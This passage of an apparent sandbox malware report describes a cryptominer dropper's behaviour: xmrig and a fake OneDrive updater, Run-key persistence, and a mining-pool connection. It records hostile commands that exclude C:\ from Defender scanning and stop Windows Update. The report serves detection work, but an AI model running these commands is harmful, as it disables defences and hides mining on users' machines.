\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessIdOfThread\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp\")\n Found reference to API \"g____PInvoke|35_0\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"GetProcessIdFromHandle\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"GetProcessIds\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"GetComputerName\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentVariablesBlock\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve type of COM object","description":"Found string \"MarshalNative_GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-569","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"g____PInvoke|6_0\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"file/memory contains long string with (Indicator: \"secret\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"password\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n Found string \"stratesecretar\" (Indicator: \"secret\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"Canary failed to create ping event. gle=%d\" (Indicator: \"ping\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001548)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004556)\n \"OneDriveUpdate.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005904)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$58","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObjectContext\" (Indicator: \"CoGetObject\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"g____PInvoke|10_0\" (Indicator: \"CreateProcessWithLogon\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcessWithLogon\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeLockMemoryPrivilege\" (Indicator: \"SeLockMemoryPrivilege\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"SeLockMemoryPrivilege\" (Indicator: \"SeLockMemoryPrivilege\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"OneDriveUpdate.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"GetSidSubAuthority\" which can \"return a pointer to a specified subauthority in a security identifier (SID)\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]\n Observed import api \"GetSidSubAuthorityCount\" which can \"return a pointer to the member in a security identifier (SID) structure that contains the subauthority count\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]\n Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]\n Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]\n Observed import api \"SetKernelObjectSecurity\" which can \"set the security of a kernel object\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"xmrig.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Add-MpPreference -ExclusionPath 'C:\\\\'\"\" (UID: 00000000-00004556)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWSSYSTEMSERVICE\"; Value: \"\"C:\\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\"\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"OneDriveUpdate.exe\" - Location: [%LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe]- [targetUID: 00000000-00005904]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004556]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1548)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4556)\n \"xmrig.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3544)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"OneDriveUpdate.exe\" called \"OpenSCManagerW\" requesting access rights \"SC_MANAGER_ALL_ACCESS\" (0xf003f)","origin":"API Call","mitre_attack_id":"T1569.002","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"OneDriveUpdate.exe\" called \"OpenServiceW\" to access the \"WinRing0_1_2_0\" service requesting \"SERVICE_ALL_ACCESS\" (0XF01FF) access rights","origin":"API Call","mitre_attack_id":"T1007","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"OneDriveUpdate.exe\" has type \"PE32+ executable for MS Windows 6.00 (console) x86-64 10 sections\"- Location: [%LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe]- [targetUID: 00000000-00005904]\n \"xmrig.exe\" has type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections\"- Location: [C:\\bin\\xmrig.exe]- [targetUID: 00000000-00001548]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWSSYSTEMSERVICE\"; Value: \"\"C:\\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"xmrig.exe\" wrote 16384 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"OneDriveUpdate.exe\" called \"gethostname\" with parameters (UID: 00000000-00005904)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%LOCALAPPDATA%\\Microsoft\\OneDrive\\Update\\OneDriveUpdate.exe\" connects to 46.250.239.154 on port 10001 (TCP); Domain: \"sg.moneroocean.stream\"","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004556)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u00pv2mi.oyi.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_dqciugsk.qli.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Security","name":"Calls an API typically used to stop a service","description":"\"OneDriveUpdate.exe\" called \"ControlService\" with SERVICE_CONTROL_STOP access on service handle 25f3026cdc0","origin":"API Call","mitre_attack_id":"T1489","relevance":10,"id":"api-277","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00004556)\n \"xmrig.exe\" opens a process \"C:\\bin\\xmrig.exe\" (UID: 00000000-00003544)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Security","name":"Stops a system service using net.exe","description":"Process \"net.exe\" with commandline \"\"net\" stop wuauserv\" (Service: \"Windows Update\", UID: 00000000-00001396)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 stop wuauserv\" (Service: \"Windows Update\", UID: 00000000-00009196)\n Process \"net.exe\" with commandline \"\"net\" stop WSearch\" (Service: \"Windows Search\", UID: 00000000-00003740)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 stop WSearch\" (Service: \"Windows Search\", UID: 00000000-00002296)\n Process \"net.exe\" with commandline \"\"net\" stop SysMain\" (Service: \"Superfetch\", UID: 00000000-00004756)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 stop SysMain\" (Service: \"Superfetch\", UID: 00000000-00001200)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":10,"id":"target-102","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"System Security","name":"Tries to modify exclusion list using Powershell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Add-MpPreference -ExclusionPath 'C:\\\\'\"\" (UID: 00000000-00004556)","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":5,"id":"target-320","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops script files inside temp directory","description":"Dropped file: \"__PSScriptPolicyTest_u00pv2mi.oyi.ps1\" - Location: [%TEMP%\\__PSScriptPolicyTest_u00pv2mi.oyi.ps1]- [targetUID: 00000000-00004556]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-35","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Found TLS callbacks","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has a TLS callback with entrypoint at 0x1405c84b0\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has a TLS callback with entrypoint at 0x1405c8c70","origin":"Static Parser","mitre_attack_id":"T1055.005","relevance":10,"id":"static-17","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n SetKernelObjectSecurity\n RegOpenKeyExW\n OpenProcessToken\n MapViewOfFileEx\n GetProcAddress\n GetTempPathW\n CreateThread\n SleepConditionVariableSRW\n Sleep\n ExitThread\n OutputDebugStringW\n FindFirstFileExW\n FindNextFileW\n CreateDirectoryW\n FindResourceW\n GetFileAttributesExW\n LoadLibraryExW\n CreateFileA\n GetModuleHandleW\n IsDebuggerPresent\n GetSystemInfo\n GetModuleHandleExW\n GetCommandLineW\n UnhandledExceptionFilter\n GetFileSize\n OutputDebugStringA\n TerminateProcess\n CreateProcessW\n DisconnectNamedPipe\n LoadLibraryW\n GetTickCount64\n GetModuleFileNameW\n CreateThreadpoolTimer\n CreateFileMappingA\n LoadLibraryA\n VirtualProtect\n VirtualAlloc\n MapViewOfFile\n GetThreadContext\n LoadLibraryExA\n CreateFileMappingW\n CreateFileW\n GetTickCount\n WriteFile\n GetFileSizeEx\n SleepEx\n VirtualAllocExNuma\n ConnectNamedPipe\n ShellExecuteW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has a section named \"Section\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has a section named \"_RDATA\"","origin":"Static 